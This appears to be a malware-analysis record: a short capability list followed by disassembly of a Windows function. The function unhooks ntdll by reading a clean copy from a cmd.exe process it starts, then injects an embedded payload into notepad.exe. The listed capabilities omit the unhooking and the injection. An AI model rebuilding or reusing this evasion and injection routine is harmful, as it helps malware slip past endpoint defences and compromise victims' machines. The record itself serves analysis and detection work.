Function at 0x402056
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0xcc], 0x324fe0
mov dword [rbp + 0xc8], 0
mov qword [rbp + 0xc0], 0
mov dword [rbp + 0xbc], 0
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov byte [rbp - 0x1d], 0x56
mov byte [rbp - 0x1c], 0x69
mov byte [rbp - 0x1b], 0x72
mov byte [rbp - 0x1a], 0x74
mov byte [rbp - 0x19], 0x75
mov byte [rbp - 0x18], 0x61
mov byte [rbp - 0x17], 0x6c
mov byte [rbp - 0x16], 0x41
mov byte [rbp - 0x15], 0x6c
mov byte [rbp - 0x14], 0x6c
mov byte [rbp - 0x13], 0x6f
mov byte [rbp - 0x12], 0x63
mov byte [rbp - 0x11], 0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0xb8], eax
cmp dword [rbp + 0xb8], 0
jne 0x402172
lea rcx, str.____Error:_Could_not_call_CreateProcess_n
call sym.printf_char_const__::_
mov eax, 1
jmp 0x4023c8
lea rcx, str.ntdll.dll
call sym.myGetModuleHandle_wchar_t_const_
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xb0]
add rax, rdx
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
add rax, 0x18
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov eax, dword [rax + 0x38]
mov eax, eax
mov qword [rbp + 0x90], rax
lea rcx, str.KERNEL32.DLL
call sym.myGetModuleHandle_wchar_t_const_
mov rcx, rax
lea rax, [rbp - 0x1d]
mov rdx, rax
call sym.myGetProcAddress_HINSTANCE____char_const_
mov qword [rbp + 0x88], rax
mov rdx, qword [rbp + 0x90]
mov rax, qword [rbp + 0x88]
mov r9d, 4
mov r8d, 0x1000
mov ecx, 0
call rax
mov qword [rbp + 0x80], rax
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rcx, str.ntdll_size:__x__cache:__p_n
call sym.printf_char_const__::_
mov qword [rbp - 0x28], 0
mov rax, qword [rbp - 0x10]
mov r9, qword [rbp + 0x90]
mov r8, qword [rbp + 0x80]
mov rdx, qword [rbp + 0xb0]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x4022a0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r8d, edx
mov rdx, rax
lea rcx, str.Error_reading:__d___x_n
call sym.printf_char_const__::_
lea rcx, str.Kill_
call sym.printf_char_const__::_
call sym.getchar
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
lea rcx, str.Done._n
call sym.printf_char_const__::_
call sym.getchar
lea rcx, str.Unhooking_ntdll_n
call sym.printf_char_const__::_
lea rcx, [0x007cd008]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x80]
mov rdx, rax
call sym.UnhookNtdll_HINSTANCE____void_
mov dword [rbp + 0xbc], eax
lea rcx, str.YAY__n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x80]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rcx, str.notepad.exe
call sym.FindTarget_char_const_
mov dword [rbp + 0xc8], eax
cmp dword [rbp + 0xc8], 0
je 0x4023c3
mov eax, dword [rbp + 0xc8]
mov edx, eax
lea rcx, str.Notepad.exe_PID___d_n
call sym.printf_char_const__::_
mov eax, dword [rbp + 0xc8]
mov r8d, eax
mov edx, 0
mov ecx, 0x43a
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
je 0x4023c3
mov edx, dword [rbp + 0xcc]
mov rax, qword [rbp + 0xc0]
mov r8d, edx
lea rdx, [0x004a4040]
mov rcx, rax
call sym.Inject_void__unsigned_char__unsigned_int_
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x158
pop rdi
pop rbp
ret